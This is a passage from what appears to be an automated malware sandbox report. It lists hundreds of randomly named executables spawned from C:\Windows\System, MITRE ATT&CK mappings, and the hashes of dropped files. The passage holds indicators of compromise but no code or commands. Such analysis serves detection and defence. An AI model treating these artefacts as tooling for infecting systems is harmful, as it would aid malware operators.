  C:\Windows\System\uSJOsEx.exe
  2⤵
  PID:3144
- C:\Windows\System\IhXrYmA.exe
  C:\Windows\System\IhXrYmA.exe
  2⤵
  PID:11552
- C:\Windows\System\OagZtcF.exe
  C:\Windows\System\OagZtcF.exe
  2⤵
  PID:2016
- C:\Windows\System\ZAiynlT.exe
  C:\Windows\System\ZAiynlT.exe
  2⤵
  PID:3124
- C:\Windows\System\iHbgTWN.exe
  C:\Windows\System\iHbgTWN.exe
  2⤵
  PID:5744
- C:\Windows\System\qOaMHJL.exe
  C:\Windows\System\qOaMHJL.exe
  2⤵
  PID:4316
- C:\Windows\System\sZVFgNQ.exe
  C:\Windows\System\sZVFgNQ.exe
  2⤵
  PID:9980
- C:\Windows\System\FvEYneD.exe
  C:\Windows\System\FvEYneD.exe
  2⤵
  PID:5892
- C:\Windows\System\SZzzBIN.exe
  C:\Windows\System\SZzzBIN.exe
  2⤵
  PID:12308
- C:\Windows\System\xHUltVk.exe
  C:\Windows\System\xHUltVk.exe
  2⤵
  PID:4696
- C:\Windows\System\NHLSKOe.exe
  C:\Windows\System\NHLSKOe.exe
  2⤵
  PID:12428
- C:\Windows\System\gmzzGPL.exe
  C:\Windows\System\gmzzGPL.exe
  2⤵
  PID:6084
- C:\Windows\System\XawzFLw.exe
  C:\Windows\System\XawzFLw.exe
  2⤵
  PID:1508
- C:\Windows\System\lIgHJpI.exe
  C:\Windows\System\lIgHJpI.exe
  2⤵
  PID:9192
- C:\Windows\System\pEGQbAA.exe
  C:\Windows\System\pEGQbAA.exe
  2⤵
  PID:13480
- C:\Windows\System\qZDTQnH.exe
  C:\Windows\System\qZDTQnH.exe
  2⤵
  PID:9780
- C:\Windows\System\YFdTPxF.exe
  C:\Windows\System\YFdTPxF.exe
  2⤵
  PID:5308
- C:\Windows\System\Mdcwhws.exe
  C:\Windows\System\Mdcwhws.exe
  2⤵
  PID:4472
- C:\Windows\System\ufuUOpH.exe
  C:\Windows\System\ufuUOpH.exe
  2⤵
  PID:14168
- C:\Windows\System\AFOJHxj.exe
  C:\Windows\System\AFOJHxj.exe
  2⤵
  PID:13240
- C:\Windows\System\FZYTuoZ.exe
  C:\Windows\System\FZYTuoZ.exe
  2⤵
  PID:5376
- C:\Windows\System\MjvDbdG.exe
  C:\Windows\System\MjvDbdG.exe
  2⤵
  PID:7284
- C:\Windows\System\ZBXEwMq.exe
  C:\Windows\System\ZBXEwMq.exe
  2⤵
  PID:5460
- C:\Windows\System\MNKlblX.exe
  C:\Windows\System\MNKlblX.exe
  2⤵
  PID:7488
- C:\Windows\System\MXyndvx.exe
  C:\Windows\System\MXyndvx.exe
  2⤵
  PID:5488
- C:\Windows\System\eHIYXCk.exe
  C:\Windows\System\eHIYXCk.exe
  2⤵
  PID:10500
- C:\Windows\System\DMBated.exe
  C:\Windows\System\DMBated.exe
  2⤵
  PID:4260
- C:\Windows\System\rFbfftc.exe
  C:\Windows\System\rFbfftc.exe
  2⤵
  PID:3528
- C:\Windows\System\lTwQJpn.exe
  C:\Windows\System\lTwQJpn.exe
  2⤵
  PID:3576
- C:\Windows\System\KTLhwXa.exe
  C:\Windows\System\KTLhwXa.exe
  2⤵
  PID:4904
- C:\Windows\System\OfOYJAy.exe
  C:\Windows\System\OfOYJAy.exe
  2⤵
  PID:4428
- C:\Windows\System\nUNZDDo.exe
  C:\Windows\System\nUNZDDo.exe
  2⤵
  PID:12292
- C:\Windows\System\KjkPYeA.exe
  C:\Windows\System\KjkPYeA.exe
  2⤵
  PID:2836
- C:\Windows\System\TwrIVVY.exe
  C:\Windows\System\TwrIVVY.exe
  2⤵
  PID:7432
- C:\Windows\System\TGQvClf.exe
  C:\Windows\System\TGQvClf.exe
  2⤵
  PID:8432
- C:\Windows\System\aQVsDVX.exe
  C:\Windows\System\aQVsDVX.exe
  2⤵
  PID:13976
- C:\Windows\System\ZdoNvnD.exe
  C:\Windows\System\ZdoNvnD.exe
  2⤵
  PID:8472
- C:\Windows\System\bPdaeym.exe
  C:\Windows\System\bPdaeym.exe
  2⤵
  PID:8088
- C:\Windows\System\qlZbjxI.exe
  C:\Windows\System\qlZbjxI.exe
  2⤵
  PID:5800
- C:\Windows\System\CJtytYT.exe
  C:\Windows\System\CJtytYT.exe
  2⤵
  PID:6280
- C:\Windows\System\LnDQbub.exe
  C:\Windows\System\LnDQbub.exe
  2⤵
  PID:6272
- C:\Windows\System\gheHBVC.exe
  C:\Windows\System\gheHBVC.exe
  2⤵
  PID:6360
- C:\Windows\System\Gvacsag.exe
  C:\Windows\System\Gvacsag.exe
  2⤵
  PID:11120
- C:\Windows\System\DFdFaMg.exe
  C:\Windows\System\DFdFaMg.exe
  2⤵
  PID:6460
- C:\Windows\System\DWhzEkt.exe
  C:\Windows\System\DWhzEkt.exe
  2⤵
  PID:6496
- C:\Windows\System\rljNqOd.exe
  C:\Windows\System\rljNqOd.exe
  2⤵
  PID:6596
- C:\Windows\System\cSBzBbp.exe
  C:\Windows\System\cSBzBbp.exe
  2⤵
  PID:6724
- C:\Windows\System\CalkyUW.exe
  C:\Windows\System\CalkyUW.exe
  2⤵
  PID:6728
- C:\Windows\System\vroTHDi.exe
  C:\Windows\System\vroTHDi.exe
  2⤵
  PID:10460
- C:\Windows\System\ePQyaJs.exe
  C:\Windows\System\ePQyaJs.exe
  2⤵
  PID:8968
- C:\Windows\System\WFMCdSZ.exe
  C:\Windows\System\WFMCdSZ.exe
  2⤵
  PID:6800
- C:\Windows\System\IxTGfHL.exe
  C:\Windows\System\IxTGfHL.exe
  2⤵
  PID:10696
- C:\Windows\System\dAcxIKL.exe
  C:\Windows\System\dAcxIKL.exe
  2⤵
  PID:6808
- C:\Windows\System\DMfXhDe.exe
  C:\Windows\System\DMfXhDe.exe
  2⤵
  PID:6048
- C:\Windows\System\QztjoFG.exe
  C:\Windows\System\QztjoFG.exe
  2⤵
  PID:14088
- C:\Windows\System\usbhvcN.exe
  C:\Windows\System\usbhvcN.exe
  2⤵
  PID:7116
- C:\Windows\System\VsFRmAs.exe
  C:\Windows\System\VsFRmAs.exe
  2⤵
  PID:5576
- C:\Windows\System\Mlmeuds.exe
  C:\Windows\System\Mlmeuds.exe
  2⤵
  PID:1356
- C:\Windows\System\wfIIjpp.exe
  C:\Windows\System\wfIIjpp.exe
  2⤵
  PID:6228
- C:\Windows\System\ZAmfvlg.exe
  C:\Windows\System\ZAmfvlg.exe
  2⤵
  PID:6312
- C:\Windows\System\jMpxGni.exe
  C:\Windows\System\jMpxGni.exe
  2⤵
  PID:8668
- C:\Windows\System\kTFtVcg.exe
  C:\Windows\System\kTFtVcg.exe
  2⤵
  PID:9120
- C:\Windows\System\xtbyRDB.exe
  C:\Windows\System\xtbyRDB.exe
  2⤵
  PID:8372
- C:\Windows\System\lptPSXK.exe
  C:\Windows\System\lptPSXK.exe
  2⤵
  PID:8248
- C:\Windows\System\fyJtaxF.exe
  C:\Windows\System\fyJtaxF.exe
  2⤵
  PID:8856
- C:\Windows\System\bPyaJel.exe
  C:\Windows\System\bPyaJel.exe
  2⤵
  PID:14152
- C:\Windows\System\CnkiNtS.exe
  C:\Windows\System\CnkiNtS.exe
  2⤵
  PID:6176
- C:\Windows\System\IvlsIbv.exe
  C:\Windows\System\IvlsIbv.exe
  2⤵
  PID:6472
- C:\Windows\System\gZwHYlN.exe
  C:\Windows\System\gZwHYlN.exe
  2⤵
  PID:6704
- C:\Windows\System\wsWHeHF.exe
  C:\Windows\System\wsWHeHF.exe
  2⤵
  PID:7220
- C:\Windows\System\CJrEVMS.exe
  C:\Windows\System\CJrEVMS.exe
  2⤵
  PID:4648
- C:\Windows\System\imUKfox.exe
  C:\Windows\System\imUKfox.exe
  2⤵
  PID:7280
- C:\Windows\System\OuFFDZh.exe
  C:\Windows\System\OuFFDZh.exe
  2⤵
  PID:14184
- C:\Windows\System\YqWLWqI.exe
  C:\Windows\System\YqWLWqI.exe
  2⤵
  PID:11844
- C:\Windows\System\WxBInwX.exe
  C:\Windows\System\WxBInwX.exe
  2⤵
  PID:7532
- C:\Windows\System\JwtZtHA.exe
  C:\Windows\System\JwtZtHA.exe
  2⤵
  PID:7596
- C:\Windows\System\xPtLvit.exe
  C:\Windows\System\xPtLvit.exe
  2⤵
  PID:7784
- C:\Windows\System\lhgJmxY.exe
  C:\Windows\System\lhgJmxY.exe
  2⤵
  PID:7804
- C:\Windows\System\FJWpnfy.exe
  C:\Windows\System\FJWpnfy.exe
  2⤵
  PID:7868
- C:\Windows\System\OkOAElY.exe
  C:\Windows\System\OkOAElY.exe
  2⤵
  PID:11744
- C:\Windows\System\quClTFv.exe
  C:\Windows\System\quClTFv.exe
  2⤵
  PID:1840
- C:\Windows\System\kCPoTmG.exe
  C:\Windows\System\kCPoTmG.exe
  2⤵
  PID:7996
- C:\Windows\System\kWbZMuZ.exe
  C:\Windows\System\kWbZMuZ.exe
  2⤵
  PID:8132
- C:\Windows\System\xevefKF.exe
  C:\Windows\System\xevefKF.exe
  2⤵
  PID:9992
- C:\Windows\System\fANyYLY.exe
  C:\Windows\System\fANyYLY.exe
  2⤵
  PID:10072
- C:\Windows\System\tIJUONY.exe
  C:\Windows\System\tIJUONY.exe
  2⤵
  PID:12352
- C:\Windows\System\ODcfdvr.exe
  C:\Windows\System\ODcfdvr.exe
  2⤵
  PID:12432
- C:\Windows\System\FMhNkKl.exe
  C:\Windows\System\FMhNkKl.exe
  2⤵
  PID:7696
- C:\Windows\System\QATQoLR.exe
  C:\Windows\System\QATQoLR.exe
  2⤵
  PID:944
- C:\Windows\System\gARaofO.exe
  C:\Windows\System\gARaofO.exe
  2⤵
  PID:1444
- C:\Windows\System\iqqZViM.exe
  C:\Windows\System\iqqZViM.exe
  2⤵
  PID:12760
- C:\Windows\System\AtkBvyU.exe
  C:\Windows\System\AtkBvyU.exe
  2⤵
  PID:12648
- C:\Windows\System\mlXghjX.exe
  C:\Windows\System\mlXghjX.exe
  2⤵
  PID:1228
- C:\Windows\System\DufXDEc.exe
  C:\Windows\System\DufXDEc.exe
  2⤵
  PID:5192
- C:\Windows\System\CrZSCYo.exe
  C:\Windows\System\CrZSCYo.exe
  2⤵
  PID:13448
- C:\Windows\System\YcVyooW.exe
  C:\Windows\System\YcVyooW.exe
  2⤵
  PID:8116
- C:\Windows\System\WrLTHUk.exe
  C:\Windows\System\WrLTHUk.exe
  2⤵
  PID:5260
- C:\Windows\System\xiDPOGo.exe
  C:\Windows\System\xiDPOGo.exe
  2⤵
  PID:5356
- C:\Windows\System\ltYbpBl.exe
  C:\Windows\System\ltYbpBl.exe
  2⤵
  PID:9660
- C:\Windows\System\vGqqfLJ.exe
  C:\Windows\System\vGqqfLJ.exe
  2⤵
  PID:12892
- C:\Windows\System\IkReONP.exe
  C:\Windows\System\IkReONP.exe
  2⤵
  PID:8252
- C:\Windows\System\tyvHWyc.exe
  C:\Windows\System\tyvHWyc.exe
  2⤵
  PID:13200
- C:\Windows\System\QWSIlDL.exe
  C:\Windows\System\QWSIlDL.exe
  2⤵
  PID:13280
- C:\Windows\System\lfprYSa.exe
  C:\Windows\System\lfprYSa.exe
  2⤵
  PID:5404
- C:\Windows\System\VaiGtLx.exe
  C:\Windows\System\VaiGtLx.exe
  2⤵
  PID:8388
- C:\Windows\System\IrjLwwx.exe
  C:\Windows\System\IrjLwwx.exe
  2⤵
  PID:12528
- C:\Windows\System\LOaPVOc.exe
  C:\Windows\System\LOaPVOc.exe
  2⤵
  PID:4580
- C:\Windows\System\CBDloWS.exe
  C:\Windows\System\CBDloWS.exe
  2⤵
  PID:8612
- C:\Windows\System\obAvtkh.exe
  C:\Windows\System\obAvtkh.exe
  2⤵
  PID:8664
- C:\Windows\System\RUvuJmO.exe
  C:\Windows\System\RUvuJmO.exe
  2⤵
  PID:8680
- C:\Windows\System\WuewMrO.exe
  C:\Windows\System\WuewMrO.exe
  2⤵
  PID:860
- C:\Windows\System\WSTOinm.exe
  C:\Windows\System\WSTOinm.exe
  2⤵
  PID:5492
- C:\Windows\System\wYbGIBP.exe
  C:\Windows\System\wYbGIBP.exe
  2⤵
  PID:5548
- C:\Windows\System\sPAGQjA.exe
  C:\Windows\System\sPAGQjA.exe
  2⤵
  PID:4356
- C:\Windows\System\dStuSks.exe
  C:\Windows\System\dStuSks.exe
  2⤵
  PID:728
- C:\Windows\System\gMWiiNP.exe
  C:\Windows\System\gMWiiNP.exe
  2⤵
  PID:5680
- C:\Windows\System\XxcSTgH.exe
  C:\Windows\System\XxcSTgH.exe
  2⤵
  PID:12524
- C:\Windows\System\syQZEIP.exe
  C:\Windows\System\syQZEIP.exe
  2⤵
  PID:5632
- C:\Windows\System\BTlwCfI.exe
  C:\Windows\System\BTlwCfI.exe
  2⤵
  PID:8408
- C:\Windows\System\BiSMHll.exe
  C:\Windows\System\BiSMHll.exe
  2⤵
  PID:5712
- C:\Windows\System\fLjFQTl.exe
  C:\Windows\System\fLjFQTl.exe
  2⤵
  PID:6196
- C:\Windows\System\TAuRxMq.exe
  C:\Windows\System\TAuRxMq.exe
  2⤵
  PID:10952
- C:\Windows\System\cxfFcaH.exe
  C:\Windows\System\cxfFcaH.exe
  2⤵
  PID:6400
- C:\Windows\System\XySfAYR.exe
  C:\Windows\System\XySfAYR.exe
  2⤵
  PID:6424
- C:\Windows\System\OilQDBY.exe
  C:\Windows\System\OilQDBY.exe
  2⤵
  PID:8812
- C:\Windows\System\QtuSDow.exe
  C:\Windows\System\QtuSDow.exe
  2⤵
  PID:8868
- C:\Windows\System\UUokJXa.exe
  C:\Windows\System\UUokJXa.exe
  2⤵
  PID:5952
- C:\Windows\System\WafVkKf.exe
  C:\Windows\System\WafVkKf.exe
  2⤵
  PID:9228
- C:\Windows\System\XCbOHUk.exe
  C:\Windows\System\XCbOHUk.exe
  2⤵
  PID:9232
- C:\Windows\System\kdkxirw.exe
  C:\Windows\System\kdkxirw.exe
  2⤵
  PID:6972
- C:\Windows\System\ptwduZQ.exe
  C:\Windows\System\ptwduZQ.exe
  2⤵
  PID:9384
- C:\Windows\System\gurSINA.exe
  C:\Windows\System\gurSINA.exe
  2⤵
  PID:9572
- C:\Windows\System\wuBGWee.exe
  C:\Windows\System\wuBGWee.exe
  2⤵
  PID:9632
- C:\Windows\System\xLbhbYr.exe
  C:\Windows\System\xLbhbYr.exe
  2⤵
  PID:6140
- C:\Windows\System\RFLUVMN.exe
  C:\Windows\System\RFLUVMN.exe
  2⤵
  PID:1064
- C:\Windows\System\HDweZqi.exe
  C:\Windows\System\HDweZqi.exe
  2⤵
  PID:9708
- C:\Windows\System\CrbCctM.exe
  C:\Windows\System\CrbCctM.exe
  2⤵
  PID:9908
- C:\Windows\System\kZjoLQX.exe
  C:\Windows\System\kZjoLQX.exe
  2⤵
  PID:9928
- C:\Windows\System\SRkQaNz.exe
  C:\Windows\System\SRkQaNz.exe
  2⤵
  PID:9084
- C:\Windows\System\pWKPFIW.exe
  C:\Windows\System\pWKPFIW.exe
  2⤵
  PID:10020
- C:\Windows\System\hMJIECo.exe
  C:\Windows\System\hMJIECo.exe
  2⤵
  PID:10028
- C:\Windows\System\MKYsxhn.exe
  C:\Windows\System\MKYsxhn.exe
  2⤵
  PID:10040
- C:\Windows\System\LptfmDZ.exe
  C:\Windows\System\LptfmDZ.exe
  2⤵
  PID:8620
- C:\Windows\System\OJfLFVU.exe
  C:\Windows\System\OJfLFVU.exe
  2⤵
  PID:6364
- C:\Windows\System\LHTZhVX.exe
  C:\Windows\System\LHTZhVX.exe
  2⤵
  PID:8396
- C:\Windows\System\ZSEkxAN.exe
  C:\Windows\System\ZSEkxAN.exe
  2⤵
  PID:9244
- C:\Windows\System\xOVpoTK.exe
  C:\Windows\System\xOVpoTK.exe
  2⤵
  PID:9492
- C:\Windows\System\bpjneox.exe
  C:\Windows\System\bpjneox.exe
  2⤵
  PID:9540
- C:\Windows\System\azYJtMM.exe
  C:\Windows\System\azYJtMM.exe
  2⤵
  PID:9804
- C:\Windows\System\ZKYTmkg.exe
  C:\Windows\System\ZKYTmkg.exe
  2⤵
  PID:9652
- C:\Windows\System\JhbTdvl.exe
  C:\Windows\System\JhbTdvl.exe
  2⤵
  PID:10124
- C:\Windows\System\uFQbzDC.exe
  C:\Windows\System\uFQbzDC.exe
  2⤵
  PID:10192
- C:\Windows\System\ohhkkyU.exe
  C:\Windows\System\ohhkkyU.exe
  2⤵
  PID:6056
- C:\Windows\System\ANscoZB.exe
  C:\Windows\System\ANscoZB.exe
  2⤵
  PID:12240
- C:\Windows\System\Vtbfzlu.exe
  C:\Windows\System\Vtbfzlu.exe
  2⤵
  PID:7664
- C:\Windows\System\zRLTKrF.exe
  C:\Windows\System\zRLTKrF.exe
  2⤵
  PID:11620
- C:\Windows\System\gfwLWKv.exe
  C:\Windows\System\gfwLWKv.exe
  2⤵
  PID:2704
- C:\Windows\System\hKkQRQk.exe
  C:\Windows\System\hKkQRQk.exe
  2⤵
  PID:968
- C:\Windows\System\klXgRNc.exe
  C:\Windows\System\klXgRNc.exe
  2⤵
  PID:14296
- C:\Windows\System\hCNQahK.exe
  C:\Windows\System\hCNQahK.exe
  2⤵
  PID:11320
- C:\Windows\System\igPdEFz.exe
  C:\Windows\System\igPdEFz.exe
  2⤵
  PID:5852
- C:\Windows\System\Yfqmnnh.exe
  C:\Windows\System\Yfqmnnh.exe
  2⤵
  PID:10360
- C:\Windows\System\CONlBUB.exe
  C:\Windows\System\CONlBUB.exe
  2⤵
  PID:10016
- C:\Windows\System\zVJcreN.exe
  C:\Windows\System\zVJcreN.exe
  2⤵
  PID:7180
- C:\Windows\System\NKlTysk.exe
  C:\Windows\System\NKlTysk.exe
  2⤵
  PID:10452
- C:\Windows\System\aFaKQtp.exe
  C:\Windows\System\aFaKQtp.exe
  2⤵
  PID:10560
- C:\Windows\System\EzqOHha.exe
  C:\Windows\System\EzqOHha.exe
  2⤵
  PID:3112
- C:\Windows\System\UClyxzZ.exe
  C:\Windows\System\UClyxzZ.exe
  2⤵
  PID:2340
- C:\Windows\System\PKZmQOR.exe
  C:\Windows\System\PKZmQOR.exe
  2⤵
  PID:12444
- C:\Windows\System\BXbPjxJ.exe
  C:\Windows\System\BXbPjxJ.exe
  2⤵
  PID:7848
- C:\Windows\System\DrnERVT.exe
  C:\Windows\System\DrnERVT.exe
  2⤵
  PID:5112
- C:\Windows\System\aMmNtOc.exe
  C:\Windows\System\aMmNtOc.exe
  2⤵
  PID:8032
- C:\Windows\System\eflwzoy.exe
  C:\Windows\System\eflwzoy.exe
  2⤵
  PID:13408
- C:\Windows\System\KEzNjtb.exe
  C:\Windows\System\KEzNjtb.exe
  2⤵
  PID:8112
- C:\Windows\System\XCqJjLM.exe
  C:\Windows\System\XCqJjLM.exe
  2⤵
  PID:10956
- C:\Windows\System\CPRSQGl.exe
  C:\Windows\System\CPRSQGl.exe
  2⤵
  PID:10920
- C:\Windows\System\FXDjizm.exe
  C:\Windows\System\FXDjizm.exe
  2⤵
  PID:5232
- C:\Windows\System\QHXGKdd.exe
  C:\Windows\System\QHXGKdd.exe
  2⤵
  PID:8124
- C:\Windows\System\BVbtpgS.exe
  C:\Windows\System\BVbtpgS.exe
  2⤵
  PID:3848
- C:\Windows\System\WjbfpHB.exe
  C:\Windows\System\WjbfpHB.exe
  2⤵
  PID:11176
- C:\Windows\System\vpKXCQb.exe
  C:\Windows\System\vpKXCQb.exe
  2⤵
  PID:884
- C:\Windows\System\EhBixtS.exe
  C:\Windows\System\EhBixtS.exe
  2⤵
  PID:9252
- C:\Windows\System\oxUygtW.exe
  C:\Windows\System\oxUygtW.exe
  2⤵
  PID:10228
- C:\Windows\System\QVdqkkn.exe
  C:\Windows\System\QVdqkkn.exe
  2⤵
  PID:6108
- C:\Windows\System\MrBkQCp.exe
  C:\Windows\System\MrBkQCp.exe
  2⤵
  PID:10428
- C:\Windows\System\fPstzlG.exe
  C:\Windows\System\fPstzlG.exe
  2⤵
  PID:756
- C:\Windows\System\PtKDHel.exe
  C:\Windows\System\PtKDHel.exe
  2⤵
  PID:10012
- C:\Windows\System\rHUsVcq.exe
  C:\Windows\System\rHUsVcq.exe
  2⤵
  PID:808
- C:\Windows\System\nTUYvlb.exe
  C:\Windows\System\nTUYvlb.exe
  2⤵
  PID:8296
- C:\Windows\System\rsnJDAG.exe
  C:\Windows\System\rsnJDAG.exe
  2⤵
  PID:8312
- C:\Windows\System\xyXyMZj.exe
  C:\Windows\System\xyXyMZj.exe
  2⤵
  PID:8300
- C:\Windows\System\WIZgrwL.exe
  C:\Windows\System\WIZgrwL.exe
  2⤵
  PID:10944
- C:\Windows\System\OQIFBze.exe
  C:\Windows\System\OQIFBze.exe
  2⤵
  PID:11084
- C:\Windows\System\iVskqGf.exe
  C:\Windows\System\iVskqGf.exe
  2⤵
  PID:11104
- C:\Windows\System\MwVGhky.exe
  C:\Windows\System\MwVGhky.exe
  2⤵
  PID:4368
- C:\Windows\System\mXQAghu.exe
  C:\Windows\System\mXQAghu.exe
  2⤵
  PID:14140
- C:\Windows\System\WywpSwP.exe
  C:\Windows\System\WywpSwP.exe
  2⤵
  PID:11212
- C:\Windows\System\zvcFFRv.exe
  C:\Windows\System\zvcFFRv.exe
  2⤵
  PID:10220
- C:\Windows\System\VfOzddt.exe
  C:\Windows\System\VfOzddt.exe
  2⤵
  PID:8528
- C:\Windows\System\YokIdmK.exe
  C:\Windows\System\YokIdmK.exe
  2⤵
  PID:11172
- C:\Windows\System\BlqtBkC.exe
  C:\Windows\System\BlqtBkC.exe
  2⤵
  PID:11132
- C:\Windows\System\KAOKHHP.exe
  C:\Windows\System\KAOKHHP.exe
  2⤵
  PID:10652
- C:\Windows\System\OGjiaFt.exe
  C:\Windows\System\OGjiaFt.exe
  2⤵
  PID:10264

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4212,i,6593821857742176458,13646536021844995125,262144 --variations-seed-version --mojo-platform-channel-handle=4460 /prefetch:8
1⤵
PID:5648

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_zytpfxow.jqy.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zytpfxow.jqy.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

DJySSeV.exe

Path C:\Windows\System\DJySSeV.exe
Size 1.7MB
SHA256 6469d374bb37da29919f93bd7e463cb3d3db174f8d322ab14352814cefcb49f0
MD5 018dd73fd474c4f7a517f65716a697d5
SHA1 349ed3c700f3da33c97563ea9c19f0b95a4f94e3
SHA512 997a92351fd3da46a953ac21b79ea1428f4eaf00241167159a2fe5fd3e234bd0b1418107d52f13b4d091060f1364d6065d255ea585cac1d672424edbbb68d803
SSDEEP 24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYL+t6kw2bPUyYaKXgXScSFA9Js/:Lz071uv4BPMkibTIA5LDGTUXaDmZ5T
MD5 SHA1 SHA512 SSDEEP

Submit Download

EnXHZQA.exe

Path C:\Windows\System\EnXHZQA.exe
Size 1.7MB
SHA256 183b700f60998ab83dfd8d917c06670e855d16f8c07e0096c5708bcdbb6004c7
MD5 e4fbc001a68fa11f16f50db8a7b40839
SHA1 821442128433868714efa89dfee080958ae990af
SHA512 44873ac835b30c62b5fc5ab8ee367bdcfe06a6088f0196d2f81cc5215cbea607e992b1652a1532dd7cbefcb0f35141c39323483d8877edbb925b8c78ea7bafa8
SSDEEP 24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYL+t6kw2bPUyYaKXgXScSFA9JsB:Lz071uv4BPMkibTIA5LDGTUXaDmZ5N
MD5 SHA1 SHA512 SSDEEP

Submit Download

FNkIpij.exe

Path C:\Windows\System\FNkIpij.exe
Size 1.7MB
SHA256 6d21e12018e73dcd0aac30eafcadc1c1b87aad671ad68e1fd247f07d0c61f34d
MD5 7eb12d12ec6c58de17ed63a1f3c8741a
SHA1 5e11065063534dede951651409bdd118d275ee05
SHA512 90cd5bdcedd33e6cacac750defa2b4e0b0dc0d4d8ed2a0bf5d86eb1c602033bd7376a6ac5aae63c9fefa7d445c0c35ae4600ba4d05904e4f867ca70bbb78932a
SSDEEP 24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYL+t6kw2bPUyYaKXgXScSFA9Jse:Lz071uv4BPMkibTIA5LDGTUXaDmZ5K
MD5 SHA1 SHA512 SSDEEP

Submit Download

FZGRJuG.exe

Path C:\Windows\System\FZGRJuG.exe
Size 1.7MB
SHA256 b6220e613ace68932e32f5ef2749253668b1394121076d6695cbfd0721b5b28f
MD5 0baf7f34728c4cf1d659454604f15abc
SHA1 cecc26148f3215c693b480b887e4176a68850be1
SHA512 c908dbecf59d982337ed928913af8d28787c79fcd2684f4424d913fdd9ab09353117ee792f868082a424745b7c03cc6c6f97ae23277f62ea8b90b2d56744d42c
SSDEEP 24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYL+t6kw2bPUyYaKXgXScSFA9Jsx:Lz071uv4BPMkibTIA5LDGTUXaDmZ5l
MD5 SHA1 SHA512 SSDEEP

Submit Download

KblssbQ.exe

Path C:\Windows\System\KblssbQ.exe
Size 1.7MB
SHA256 04fd9310a9a88903bc28bfb2afebbcc52ed4eb1f01dc13fd18df7667d193d4c1
MD5 6aa2f1931e420a72194cf560962080d4
SHA1 54bd096c1a1dc80721762e2c8629c9bd5651b3f5
SHA512 b31ca2a16efe4f1422089d7ed850110bf0c167871de09ca20bf91b183d4cfcda2ebb5859eab60a19406a63c9dbadc4191f2147ae68efd0b55a369e4722473f9b
SSDEEP 24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYL+t6kw2bPUyYaKXgXScSFA9JsN:Lz071uv4BPMkibTIA5LDGTUXaDmZ55
MD5 SHA1 SHA512 SSDEEP

Submit Download

KhBDcpT.exe

Path C:\Windows\System\KhBDcpT.exe
Size 8B
SHA256 6135f164d0697be47c97ab606a7a1adcbc1eb3846ae4debecafb1a6ccfd23e4e
MD5 0b02220145771e90ebe4310a5742c9eb
SHA1 9bd568d96b03bd5446f96a7b59c08196eb5a57c3
SHA512 cb08dee7f4e4dd1bb8de836a2364c078d9de5aef5dcb329e7e0b8e1cc2bfaa06c42f8b8ddf04bdb30392074759beef091a761854b0812b9a726b3c820c99a5a8
MD5 SHA1 SHA512

Submit Download

KqOEvDb.exe

Path C:\Windows\System\KqOEvDb.exe
Size 1.7MB
SHA256 1de3d293eb4e7249d937616dd41d3c995e30a5ebd415854f1f093132a406bec5
MD5 e505d27b9bb225f045421d28c8b13223
SHA1 41521f3c0c136dacc6d2c87bb1dc4eca2801cbcd
SHA512 39d042083dbdd75242a8adc195808bbd4845d306f69f920a3cc047f7d70ce6e85c31e1ae1ed5f6fb2440b53a6bb10a7240db805fa9ce8e85737bad6a071fc427
SSDEEP 24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYL+t6kw2bPUyYaKXgXScSFA9Jsb:Lz071uv4BPMkibTIA5LDGTUXaDmZ5P
MD5 SHA1 SHA512 SSDEEP

Submit Download

KvotBti.exe

Path C:\Windows\System\KvotBti.exe
Size 1.7MB
SHA256 9a5942693438eb1257350ccb15345e909c1c756598bd03f6848d3057e8ce24b9
MD5 af4e6c636a834cd4ec23b44d2f82ea92
SHA1 2b0fafad330d7b287c9c21fc308c64e7b65d9dff
SHA512 5059f825e7093ac1f959bac6347d33630b2fd1d623850b54304359dfcde54bdbc194824a253413be407eca86fff09097e8023604ebc42635801245136dd7a50e
SSDEEP 24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYL+t6kw2bPUyYaKXgXScSFA9Js8:Lz071uv4BPMkibTIA5LDGTUXaDmZ5I
MD5 SHA1 SHA512 SSDEEP

Submit Download

LCrrwMc.exe

Path C:\Windows\System\LCrrwMc.exe
Size 1.7MB
SHA256 3eb62acb6db2d67b4e0bec592d48d173ba86528387187df3797e667b20113e48
MD5 5b1ccefe25c953ba1d3573e4ed3ef809
SHA1 877a7636c4a61a351639586f15d1f6f5799229b7
SHA512 84a7feb6137003ab2d24c881745e25a23b3d9c23cccffebb3dcae68af30cc0725d30b75bf58cd6ea2eb568fc28a5514242b99ad4a52e324ffad3d4ebe332487a
SSDEEP 24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYL+t6kw2bPUyYaKXgXScSFA9Jss:Lz071uv4BPMkibTIA5LDGTUXaDmZ5w
MD5 SHA1 SHA512 SSDEEP

Submit Download

MXPLDho.exe

Path C:\Windows\System\MXPLDho.exe
Size 1.7MB
SHA256 20bfb3b99604d57a4b8a38fa223def1b9801cccff8680464978e29781e179984
MD5 ca191ffb97cc67f06e2387d07b10606b
SHA1 b4154ebc517648d23462764967cb90911be42603
